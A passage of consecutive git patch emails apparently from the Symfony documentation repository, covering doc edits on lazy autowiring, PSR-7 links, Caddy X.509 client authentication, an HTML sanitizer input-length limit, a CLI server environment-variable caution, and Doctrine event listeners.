     // this option allows a subprocess to continue running after the main script exited
     $process->setOptions(['create_new_console' => true]);
 
+.. note::
+
+    The ``create_new_console`` option is only available on Windows!
+
+
 Using Features From the OS Shell
 --------------------------------
 

From 1fd4f07e8762939419e9dc07e69475796aa73739 Mon Sep 17 00:00:00 2001
From: MrYamous <matt.lempereur@gmail.com>
Date: Sat, 1 Apr 2023 11:58:55 +0200
Subject: [PATCH 3164/5766] complement lazy service autowiring

---
 service_container/lazy_services.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index ac859958f19..8271fc84800 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -120,6 +120,15 @@ You can also configure laziness when your service is injected with the
         }
     }
 
+This attribute also allows you to define the interfaces to proxy when using
+laziness, and supports lazy-autowiring of intersection types::
+
+    public function __construct(
+        #[Autowire(service: 'foo', lazy: FooInterface::class)]
+        FooInterface|BarInterface $foo,
+    ) {
+    }
+
 .. versionadded:: 6.3
 
     The ``lazy`` argument of the ``#[Autowire()]`` attribute was introduced in

From e27d369ad0ada4d8b6b42d86b60df101185561a2 Mon Sep 17 00:00:00 2001
From: MrYamous <matt.lempereur@gmail.com>
Date: Sat, 1 Apr 2023 13:37:58 +0200
Subject: [PATCH 3165/5766] fix link to psr7 bridge classes

---
 components/psr7.rst | 12 +++++++-----
 1 file changed, 7 insertions(+), 5 deletions(-)

diff --git a/components/psr7.rst b/components/psr7.rst
index f8a3915a816..eb5ff8196a9 100644
--- a/components/psr7.rst
+++ b/components/psr7.rst
@@ -29,9 +29,9 @@ Usage
 Converting from HttpFoundation Objects to PSR-7
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The bridge provides an interface of a factory called
-:class:`Symfony\\Bridge\\PsrHttpMessage\\HttpMessageFactoryInterface`
-that builds objects implementing PSR-7 interfaces from HttpFoundation objects.
+The bridge provides an interface of a factory called 
+`HttpMessageFactoryInterface`_ that builds objects implementing PSR-7
+interfaces from HttpFoundation objects.
 
 The following code snippet explains how to convert a :class:`Symfony\\Component\\HttpFoundation\\Request`
 to a ``Nyholm\Psr7\ServerRequest`` class implementing the
@@ -66,8 +66,8 @@ Converting Objects implementing PSR-7 Interfaces to HttpFoundation
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 On the other hand, the bridge provide a factory interface called
-:class:`Symfony\\Bridge\\PsrHttpMessage\\HttpFoundationFactoryInterface`
-that builds HttpFoundation objects from objects implementing PSR-7 interfaces.
+`HttpFoundationFactoryInterface`_ that builds HttpFoundation objects from
+objects implementing PSR-7 interfaces.
 
 The next snippet explain how to convert an object implementing the
 ``Psr\Http\Message\ServerRequestInterface`` interface to a
@@ -93,3 +93,5 @@ to a :class:`Symfony\\Component\\HttpFoundation\\Response` instance::
 .. _`PSR-7`: https://www.php-fig.org/psr/psr-7/
 .. _`PSR-17`: https://www.php-fig.org/psr/psr-17/
 .. _`libraries that implement psr/http-factory-implementation`: https://packagist.org/providers/psr/http-factory-implementation
+.. _`HttpMessageFactoryInterface`: https://github.com/symfony/psr-http-message-bridge/blob/main/HttpMessageFactoryInterface.php
+.. _`HttpFoundationFactoryInterface`: https://github.com/symfony/psr-http-message-bridge/blob/main/HttpFoundationFactoryInterface.php

From 83fa5c62a668c5489f2027dd3398072bce0bdedc Mon Sep 17 00:00:00 2001
From: Florent Morselli <florent.morselli@spomky-labs.com>
Date: Sun, 2 Apr 2023 20:23:45 +0200
Subject: [PATCH 3166/5766] Add caddy server configuration for Client
 Authentication (X509)

---
 security.rst | 26 ++++++++++++++++++++++++++
 1 file changed, 26 insertions(+)

diff --git a/security.rst b/security.rst
index ca65bdea061..a9b6f4bc092 100644
--- a/security.rst
+++ b/security.rst
@@ -1253,6 +1253,32 @@ and to expose the certificate's DN to the Symfony application:
         # pass the DN to the application
         SSLOptions +StdEnvVars
 
+    .. code-block:: caddy
+
+        tls {
+            client_auth {
+                mode verify_if_given # Please refer to the Caddy documentation for more information
+                trusted_ca_cert_file /path/to/my-custom-CA.pem
+            }
+        }
+
+        route {
+            # Other configuration options go here
+
+            php_fastcgi unix//var/run/php/php-fpm.sock {
+                env SSL_CLIENT_S_DN {tls_client_subject}
+
+                # Environment variables for other certificate fields that you might need.
+                # They are not used by Symfony, but you can use them in your application.
+                # All placeholders can be found at https://caddyserver.com/docs/caddyfile/concepts#placeholders
+                env SSL_CLIENT_S_FINGERPRINT {tls_client_fingerprint}
+                env SSL_CLIENT_S_CERTIFICATE {tls_client_certificate_der_base64}
+                env SSL_CLIENT_S_ISSUER {tls_client_issuer}
+                env SSL_CLIENT_S_SERIAL {tls_client_serial}
+                env SSL_CLIENT_S_VERSION {tls_version}
+            }
+        }
+
 Then, enable the X.509 authenticator using ``x509`` on your firewall:
 
 .. configuration-block::

From 83d751e63fb416cc605dc3b09b355446f7cfffa3 Mon Sep 17 00:00:00 2001
From: Tac Tacelosky <tacman@gmail.com>
Date: Fri, 31 Mar 2023 16:38:26 -0400
Subject: [PATCH 3167/5766] fix missing 'private' declaration

---
 security/access_denied_handler.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/access_denied_handler.rst b/security/access_denied_handler.rst
index 1f36a86b52e..745c68da79d 100644
--- a/security/access_denied_handler.rst
+++ b/security/access_denied_handler.rst
@@ -34,7 +34,7 @@ unauthenticated user tries to access a protected resource::
     class AuthenticationEntryPoint implements AuthenticationEntryPointInterface
     {
         public function __construct(
-            UrlGeneratorInterface $urlGenerator,
+            private UrlGeneratorInterface $urlGenerator,
         ) {
         }
 

From 179f26e08d8a7389fac5275ec34c6d193990fb38 Mon Sep 17 00:00:00 2001
From: hbengamra <ha.ben.gamra@gmail.com>
Date: Sun, 2 Apr 2023 13:19:03 +0200
Subject: [PATCH 3168/5766] Fix bug return type of closure

---
 form/use_empty_data.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/use_empty_data.rst b/form/use_empty_data.rst
index 3782bb9866f..85d6d750a25 100644
--- a/form/use_empty_data.rst
+++ b/form/use_empty_data.rst
@@ -94,7 +94,7 @@ The closure must accept a ``FormInterface`` instance as the first argument::
     public function configureOptions(OptionsResolver $resolver): void
     {
         $resolver->setDefaults([
-            'empty_data' => function (FormInterface $form) {
+            'empty_data' => function (FormInterface $form): Blog {
                 return new Blog($form->get('title')->getData());
             },
         ]);

From ce02cd42f909e8984b1fc84bffe03662a660ab11 Mon Sep 17 00:00:00 2001
From: "t.le-gacque" <t.le-gacque@groupeonepoint.com>
Date: Thu, 30 Mar 2023 18:20:44 +0200
Subject: [PATCH 3169/5766] Update HTML Sanitizer doc for `max_input_length`
 option

---
 html_sanitizer.rst | 69 ++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 69 insertions(+)

diff --git a/html_sanitizer.rst b/html_sanitizer.rst
index a75b0a02562..423165f9549 100644
--- a/html_sanitizer.rst
+++ b/html_sanitizer.rst
@@ -931,6 +931,75 @@ the HTML sanitizer: ``src``, ``href``, ``lowsrc``, ``background`` and ``ping``.
                 ->allowRelativeMedias()
         );
 
+Configure max input length
+~~~~~~~~~~~~~~~~~~~~~
+
+Using this option, you can change the default max input length of ``20000`` characters.
+Any input longer than this value will be truncated.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/html_sanitizer.yaml
+        framework:
+            html_sanitizer:
+                sanitizers:
+                    app.post_sanitizer:
+                        # ...
+
+                        # specifies the max input length. Inputs longer than this value will be
+                        # truncated (default: 20000)
+                        max_input_length: 20000
+
+    .. code-block:: xml
+
+        <!-- config/packages/html_sanitizer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:html-sanitizer>
+                    <framework:sanitizer name="app.post_sanitizer">
+                        <!-- specifies the max input length. Inputs longer than this value will be
+                            truncated (default: 20000) -->
+                        <framework:max-input-length>20000</framework:max-input-length>
+                    </framework:sanitizer>
+                </framework:html-sanitizer>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->htmlSanitizer()
+                ->sanitizer('app.post_sanitizer')
+                    // specifies the max input length. Inputs longer than this value will be
+                    // truncated (default: 20000)
+                    ->withMaxInputLength(20000)
+            ;
+        };
+
+    .. code-block:: php-standalone
+
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizer;
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig;
+
+        $postSanitizer = new HtmlSanitizer(
+            (new HtmlSanitizerConfig())
+                // specifies the max input length. Inputs longer than this value will be
+                // truncated (default: 20000)
+                ->withMaxInputLength(20000)
+        );
+
 Custom Attribute Sanitizers
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 6d2e21c25fbd11e3e686c25c79c4433dfc843223 Mon Sep 17 00:00:00 2001
From: "t.le-gacque" <t.le-gacque@groupeonepoint.com>
Date: Thu, 30 Mar 2023 18:23:22 +0200
Subject: [PATCH 3170/5766] Update HTML Sanitizer doc for `max_input_length`
 option

---
 html_sanitizer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/html_sanitizer.rst b/html_sanitizer.rst
index 423165f9549..be8679c68e8 100644
--- a/html_sanitizer.rst
+++ b/html_sanitizer.rst
@@ -932,7 +932,7 @@ the HTML sanitizer: ``src``, ``href``, ``lowsrc``, ``background`` and ``ping``.
         );
 
 Configure max input length
-~~~~~~~~~~~~~~~~~~~~~
+~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Using this option, you can change the default max input length of ``20000`` characters.
 Any input longer than this value will be truncated.

From 7011d17185281ccb17645fbd17d0f5390730d0b5 Mon Sep 17 00:00:00 2001
From: "t.le-gacque" <t.le-gacque@groupeonepoint.com>
Date: Fri, 31 Mar 2023 11:18:32 +0200
Subject: [PATCH 3171/5766] Update HTML Sanitizer doc for `max_input_length`
 option

---
 html_sanitizer.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/html_sanitizer.rst b/html_sanitizer.rst
index be8679c68e8..75cf4bb7936 100644
--- a/html_sanitizer.rst
+++ b/html_sanitizer.rst
@@ -931,11 +931,12 @@ the HTML sanitizer: ``src``, ``href``, ``lowsrc``, ``background`` and ``ping``.
                 ->allowRelativeMedias()
         );
 
-Configure max input length
+Configure Max input length
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Using this option, you can change the default max input length of ``20000`` characters.
-Any input longer than this value will be truncated.
+To prevent DoS attacks, the HTML sanitizer limits the input length to ``20000`` by default.
+Using this option, you can change the max input length.
+Inputs longer than this value will be truncated.
 
 .. configuration-block::
 

From 370b3d9547ec2bee298e560b8c56401108b4b757 Mon Sep 17 00:00:00 2001
From: Tristan <tristanlegacque@orange.fr>
Date: Fri, 31 Mar 2023 17:32:57 +0200
Subject: [PATCH 3172/5766] Apply suggestions from code review

Co-authored-by: Oskar Stark <oskarstark@googlemail.com>
---
 html_sanitizer.rst | 10 ++++------
 1 file changed, 4 insertions(+), 6 deletions(-)

diff --git a/html_sanitizer.rst b/html_sanitizer.rst
index 75cf4bb7936..aa30a01835c 100644
--- a/html_sanitizer.rst
+++ b/html_sanitizer.rst
@@ -931,12 +931,11 @@ the HTML sanitizer: ``src``, ``href``, ``lowsrc``, ``background`` and ``ping``.
                 ->allowRelativeMedias()
         );
 
-Configure Max input length
-~~~~~~~~~~~~~~~~~~~~~~~~~~
+Max Input Length
+~~~~~~~~~~~~~~~~
 
 To prevent DoS attacks, the HTML sanitizer limits the input length to ``20000`` by default.
-Using this option, you can change the max input length.
-Inputs longer than this value will be truncated.
+Using this option, you can change the max input length, Inputs longer than this value will be truncated.
 
 .. configuration-block::
 
@@ -950,8 +949,7 @@ Inputs longer than this value will be truncated.
                         # ...
 
                         # specifies the max input length. Inputs longer than this value will be
-                        # truncated (default: 20000)
-                        max_input_length: 20000
+                        max_input_length: 30000 # default: 20000
 
     .. code-block:: xml
 

From e39cbf6dbc6ab2e0c65dcc5ebef120edf78c96fe Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 3 Apr 2023 10:56:24 +0200
Subject: [PATCH 3173/5766] Tweaks

---
 html_sanitizer.rst | 18 +++++++++---------
 1 file changed, 9 insertions(+), 9 deletions(-)

diff --git a/html_sanitizer.rst b/html_sanitizer.rst
index aa30a01835c..9aa26bbe37e 100644
--- a/html_sanitizer.rst
+++ b/html_sanitizer.rst
@@ -934,8 +934,10 @@ the HTML sanitizer: ``src``, ``href``, ``lowsrc``, ``background`` and ``ping``.
 Max Input Length
 ~~~~~~~~~~~~~~~~
 
-To prevent DoS attacks, the HTML sanitizer limits the input length to ``20000`` by default.
-Using this option, you can change the max input length, Inputs longer than this value will be truncated.
+In order to prevent `DoS attacks`_, by default the HTML sanitizer limits the
+input length to ``20000`` characters (as measured by ``strlen($input)``). All
+the contents exceeding that length will be truncated. Use this option to
+increase or decrease this limit:
 
 .. configuration-block::
 
@@ -948,7 +950,7 @@ Using this option, you can change the max input length, Inputs longer than this
                     app.post_sanitizer:
                         # ...
 
-                        # specifies the max input length. Inputs longer than this value will be
+                        # inputs longer (in characters) than this value will be truncated
                         max_input_length: 30000 # default: 20000
 
     .. code-block:: xml
@@ -965,8 +967,7 @@ Using this option, you can change the max input length, Inputs longer than this
             <framework:config>
                 <framework:html-sanitizer>
                     <framework:sanitizer name="app.post_sanitizer">
-                        <!-- specifies the max input length. Inputs longer than this value will be
-                            truncated (default: 20000) -->
+                        <!-- inputs longer (in characters) than this value will be truncated (default: 20000) -->
                         <framework:max-input-length>20000</framework:max-input-length>
                     </framework:sanitizer>
                 </framework:html-sanitizer>
@@ -981,8 +982,7 @@ Using this option, you can change the max input length, Inputs longer than this
         return static function (FrameworkConfig $framework) {
             $framework->htmlSanitizer()
                 ->sanitizer('app.post_sanitizer')
-                    // specifies the max input length. Inputs longer than this value will be
-                    // truncated (default: 20000)
+                    // inputs longer (in characters) than this value will be truncated (default: 20000)
                     ->withMaxInputLength(20000)
             ;
         };
@@ -994,8 +994,7 @@ Using this option, you can change the max input length, Inputs longer than this
 
         $postSanitizer = new HtmlSanitizer(
             (new HtmlSanitizerConfig())
-                // specifies the max input length. Inputs longer than this value will be
-                // truncated (default: 20000)
+                // inputs longer (in characters) than this value will be truncated (default: 20000)
                 ->withMaxInputLength(20000)
         );
 
@@ -1081,3 +1080,4 @@ to enable it for an HTML sanitizer:
 
 .. _`HTML Sanitizer W3C Standard Proposal`: https://wicg.github.io/sanitizer-api/
 .. _`W3C Standard Proposal`: https://wicg.github.io/sanitizer-api/
+.. _`DoS attacks`: https://en.wikipedia.org/wiki/Denial-of-service_attack

From 56f05a8ccbee8c9fbc71e5dead9c7997c76422f8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 3 Apr 2023 12:27:26 +0200
Subject: [PATCH 3174/5766] Tweaks

---
 session.rst | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/session.rst b/session.rst
index 4dcff3432d0..1124eea36a8 100644
--- a/session.rst
+++ b/session.rst
@@ -412,7 +412,7 @@ logged in by destroying the session after a certain period of idle time. For
 example, it is common for banking applications to log the user out after just
 5 to 10 minutes of inactivity. Setting the cookie lifetime here is not
 appropriate because that can be manipulated by the client, so we must do the expiry
-on the server side. The easiest way is to implement this via garbage collection
+on the server side. The easiest way is to implement this via :ref:`session garbage collection <session-garbage-collection>`
 which runs reasonably frequently. The ``cookie_lifetime`` would be set to a
 relatively high value, and the garbage collection ``gc_maxlifetime`` would be set
 to destroy sessions at whatever the desired idle period is.
@@ -446,6 +446,8 @@ particular cookie by reading the ``getLifetime()`` method::
 The expiry time of the cookie can be determined by adding the created
 timestamp and the lifetime.
 
+.. _session-garbage-collection:
+
 Configuring Garbage Collection
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -468,9 +470,10 @@ configuration:
 
 .. code-block:: yaml
 
-    # config.yml
+    # config/packages/framework.yaml
     framework:
         session:
+            # ...
             gc_probability: null
 
 You can configure these settings by passing ``gc_probability``, ``gc_divisor``

From 820e943319679ac557dacd8daea7510780acfb92 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 3 Apr 2023 13:11:44 +0200
Subject: [PATCH 3175/5766] Tweaks

---
 security.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security.rst b/security.rst
index a9b6f4bc092..45368f269e4 100644
--- a/security.rst
+++ b/security.rst
@@ -1257,7 +1257,7 @@ and to expose the certificate's DN to the Symfony application:
 
         tls {
             client_auth {
-                mode verify_if_given # Please refer to the Caddy documentation for more information
+                mode verify_if_given # check the Caddy documentation for more information
                 trusted_ca_cert_file /path/to/my-custom-CA.pem
             }
         }
@@ -1270,7 +1270,7 @@ and to expose the certificate's DN to the Symfony application:
 
                 # Environment variables for other certificate fields that you might need.
                 # They are not used by Symfony, but you can use them in your application.
-                # All placeholders can be found at https://caddyserver.com/docs/caddyfile/concepts#placeholders
+                # See all placeholders: https://caddyserver.com/docs/caddyfile/concepts#placeholders
                 env SSL_CLIENT_S_FINGERPRINT {tls_client_fingerprint}
                 env SSL_CLIENT_S_CERTIFICATE {tls_client_certificate_der_base64}
                 env SSL_CLIENT_S_ISSUER {tls_client_issuer}

From 226f4b9d72d0aa1184d9c12bec70a7f36f3cbf4a Mon Sep 17 00:00:00 2001
From: hbengamra <ha.ben.gamra@gmail.com>
Date: Sun, 2 Apr 2023 01:11:15 +0200
Subject: [PATCH 3176/5766] Task object instead of id as param

Thanks to paramconverter we can get Task object  directly instea of putting the ID and w can throw automaically an exception if it's not found
---
 form/form_collections.rst | 6 +-----
 1 file changed, 1 insertion(+), 5 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index 7922bc3f3a1..540f8d50377 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -598,12 +598,8 @@ the relationship between the removed ``Tag`` and ``Task`` object.
 
         class TaskController extends AbstractController
         {
-            public function edit($id, Request $request, EntityManagerInterface $entityManager): Response
+            public function edit(Task $task, Request $request, EntityManagerInterface $entityManager): Response
             {
-                if (null === $task = $entityManager->getRepository(Task::class)->find($id)) {
-                    throw $this->createNotFoundException('No task found for id '.$id);
-                }
-
                 $originalTags = new ArrayCollection();
 
                 // Create an ArrayCollection of the current Tag objects in the database

From 0cc962f49e772e53d6b3051732a1919e69a0ad11 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Mon, 5 Dec 2022 14:42:49 -0400
Subject: [PATCH 3177/5766] [Notifier] Add SimpleTextin bridge

---
 notifier.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 03e70875d51..76777616bac 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -86,6 +86,7 @@ Service             Package                                DSN
 `Sendberry`_        ``symfony/sendberry-notifier``         ``sendberry://USERNAME:PASSWORD@default?auth_key=AUTH_KEY&from=FROM``
 `Sendinblue`_       ``symfony/sendinblue-notifier``        ``sendinblue://API_KEY@default?sender=PHONE``
 `Sms77`_            ``symfony/sms77-notifier``             ``sms77://API_KEY@default?from=FROM``
+`SimpleTextin`_     ``symfony/simple-textin-notifier``     ``simpletextin://API_KEY@default?from=FROM``
 `Sinch`_            ``symfony/sinch-notifier``             ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
 `Smsapi`_           ``symfony/smsapi-notifier``            ``smsapi://TOKEN@default?from=FROM``
 `SmsBiuras`_        ``symfony/sms-biuras-notifier``        ``smsbiuras://UID:API_KEY@default?from=FROM&test_mode=0``
@@ -111,8 +112,8 @@ Service             Package                                DSN
 
 .. versionadded:: 6.3
 
-    The Bandwith, iSendPro, Plivo, RingCentral and Termii integrations were introduced
-    in Symfony 6.3.
+    The Bandwith, iSendPro, Plivo, RingCentral, SimpleTextin and Termii integrations
+    were introduced in Symfony 6.3.
     The ``from`` option in ``Smsapi`` DSN is optional since Symfony 6.3.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
@@ -1004,6 +1005,7 @@ is dispatched. Listeners receive a
 .. _`RocketChat`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/RocketChat/README.md
 .. _`Sendberry`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sendberry/README.md
 .. _`Sendinblue`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sendinblue/README.md
+.. _`SimpleTextin`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SimpleTextin/README.md
 .. _`Sinch`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sinch/README.md
 .. _`Slack`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Slack/README.md
 .. _`Sms77`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sms77/README.md

From 9c3023ee47a923976fd349ae26b0c9157ec3117b Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Fri, 30 Sep 2022 14:42:31 +0200
Subject: [PATCH 3178/5766] [Security] Add caution on symfony cli web server
 exposing env vars on private network

---
 setup/symfony_server.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 43bd1442749..44a1842e1fe 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -11,6 +11,13 @@ other features that sooner or later you'll need when developing web projects.
 Moreover, the server is not tied to Symfony and you can also use it with any
 PHP application and even with HTML or single page applications.
 
+.. caution::
+
+    This server will automatically expose all environment variables available
+    in the CLI tool context, **which can lead to security issues**.
+    One should assert that its server is not accessible on local network without
+    consent.
+
 Installation
 ------------
 

From e81818e8e645dfa623991d1925bdc3d81728fc9f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 4 Apr 2023 17:53:26 +0200
Subject: [PATCH 3179/5766] Reword

---
 setup/symfony_server.rst | 13 ++++++-------
 1 file changed, 6 insertions(+), 7 deletions(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 98a3472b9c6..4eed13ddf40 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -11,13 +11,6 @@ other features that sooner or later you'll need when developing web projects.
 Moreover, the server is not tied to Symfony and you can also use it with any
 PHP application and even with HTML or single page applications.
 
-.. caution::
-
-    This server will automatically expose all environment variables available
-    in the CLI tool context, **which can lead to security issues**.
-    One should assert that its server is not accessible on local network without
-    consent.
-
 Installation
 ------------
 
@@ -507,6 +500,12 @@ its location, same as for ``docker-compose``:
     ``symfony console doctrine:database:drop --force --env=test``, the command will drop the database
     defined in your Docker configuration and not the "test" one.
 
+.. caution::
+
+    Similar to other web servers, this tool automatically exposes all environment
+    variables available in the CLI context. Ensure that this local server is not
+    accessible on your local network without consent you avoid security issues.
+
 Platform.sh Integration
 -----------------------
 

From 723be1326970c5f92528172b9b88858f2a25bd8e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 4 Apr 2023 17:55:25 +0200
Subject: [PATCH 3180/5766] Add some content that should have been merged in
 5.4 branch

---
 setup/symfony_server.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 46e6889a48a..b1aa76c0d17 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -500,6 +500,12 @@ its location, same as for ``docker-compose``:
     ``symfony console doctrine:database:drop --force --env=test``, the command will drop the database
     defined in your Docker configuration and not the "test" one.
 
+.. caution::
+
+    Similar to other web servers, this tool automatically exposes all environment
+    variables available in the CLI context. Ensure that this local server is not
+    accessible on your local network without consent to avoid security issues.
+
 Platform.sh Integration
 -----------------------
 

From 829432fe51c8669c283cda9238e5d7f8f103ba96 Mon Sep 17 00:00:00 2001
From: Richard van Laak <rvanlaak@gmail.com>
Date: Wed, 5 Apr 2023 11:42:49 +0200
Subject: [PATCH 3181/5766] Small typo, additional backtick

---
 components/clock.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/clock.rst b/components/clock.rst
index 9202a399638..2556d0da285 100644
--- a/components/clock.rst
+++ b/components/clock.rst
@@ -17,7 +17,7 @@ for different use cases:
 :class:`Symfony\\Component\\Clock\\MockClock`
     Commonly used in tests as a replacement for the ``NativeClock`` to be able
     to freeze and change the current time using either ``sleep()`` or ``modify()``.
-:class:`Symfony\\Component\\Clock\\MonotonicClock``
+:class:`Symfony\\Component\\Clock\\MonotonicClock`
     Relies on ``hrtime()`` and provides a high resolution, monotonic clock,
     when you need a precise stopwatch.
 

From b64d930043683c8f121a93f70cf48e38a97fecff Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 5 Apr 2023 13:45:02 +0200
Subject: [PATCH 3182/5766] Fix: Typo

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 9941f945e0a..0f9251e2007 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -40,7 +40,7 @@ The notifier component supports the following channels:
 .. tip::
 
     Use :doc:`secrets </configuration/secrets>` to securely store your
-    API's tokens.
+    API tokens.
 
 .. _notifier-sms-channel:
 

From 8b13d333df44b63722d93e2dfb7518395798b322 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 4 Apr 2023 18:58:48 +0200
Subject: [PATCH 3183/5766] [PropertyInfo] Add `ConstructorExtractor`
 documentation

---
 components/property_info.rst | 32 ++++++++++++++++++++++++++++++++
 1 file changed, 32 insertions(+)

diff --git a/components/property_info.rst b/components/property_info.rst
index 1a60978a03e..fb31d3d18cd 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -483,6 +483,38 @@ with the ``property_info`` service in the Symfony Framework::
     // Type information.
     $doctrineExtractor->getTypes($class, $property);
 
+ConstructorExtractor
+~~~~~~~~~~~~~~~~~~~~
+
+The :class:`Symfony\\Component\\PropertyInfo\\Extractor\\ConstructorExtractor`
+tries to extract properties information by using either the
+:class:`Symfony\\Component\\PropertyInfo\\Extractor\\PhpStanExtractor` or
+the :class:`Symfony\\Component\\PropertyInfo\\Extractor\\ReflectionExtractor`
+on the constructor arguments::
+
+    // src/Domain/Foo.php
+    class Foo
+    {
+        private $bar;
+
+        public function __construct(string $bar)
+        {
+            $this->bar = $bar;
+        }
+    }
+
+    // Extraction.php
+    use Symfony\Component\PropertyInfo\Extractor\ConstructorExtractor;
+    use App\Domain\Foo;
+
+    $constructorExtractor = new ConstructorExtractor([new ReflectionExtractor()]);
+    $constructorExtractor->getTypes(Foo::class, 'bar')[0]->getBuiltinType(); // returns 'string'
+
+.. versionadded:: 5.2
+
+    The :class:`Symfony\\Component\\PropertyInfo\\Extractor\\ConstructorExtractor`
+    was introduced in Symfony 5.2.
+
 .. _`components-property-information-extractors-creation`:
 
 Creating Your Own Extractors

From 655fbe08a77322108cbf24aa54dce8e3a1234741 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 5 Apr 2023 15:52:37 +0200
Subject: [PATCH 3184/5766] Minor tweaks

---
 doctrine/events.rst | 22 +++++++++++++++-------
 1 file changed, 15 insertions(+), 7 deletions(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 21b2e4f8d23..465cd967e77 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -140,6 +140,11 @@ do so, define a listener for the ``postPersist`` Doctrine event::
         }
     }
 
+.. note::
+
+    In previous Doctrine versions, instead of ``PostPersistEventArgs``, you had
+    to use ``LifecycleEventArgs``, which was deprecated in Doctrine ORM 2.14.
+
 Then, add the ``#[AsDoctrineListener]`` attribute to the class to enable it as
 a Doctrine listener in your application::
 
@@ -438,27 +443,25 @@ want to log all the database activity. To do so, define a subscriber for the
         }
 
         // callback methods must be called exactly like the events they listen to;
-        // they receive an argument of type PostPersistEventArgs, which gives you access
+        // they receive an argument of type Post*EventArgs, which gives you access
         // to both the entity object of the event and the entity manager itself
         public function postPersist(PostPersistEventArgs $args): void
         {
-            $this->logActivity('persist', $args);
+            $this->logActivity('persist', $args->getObject());
         }
 
         public function postRemove(PostRemoveEventArgs $args): void
         {
-            $this->logActivity('remove', $args);
+            $this->logActivity('remove', $args->getObject());
         }
 
         public function postUpdate(PostUpdateEventArgs $args): void
         {
-            $this->logActivity('update', $args);
+            $this->logActivity('update', $args->getObject());
         }
 
-        private function logActivity(string $action, PostUpdateEventArgs|PostRemoveEventArgs|PostPersistEventArgs $args): void
+        private function logActivity(string $action, mixed $entity): void
         {
-            $entity = $args->getObject();
-
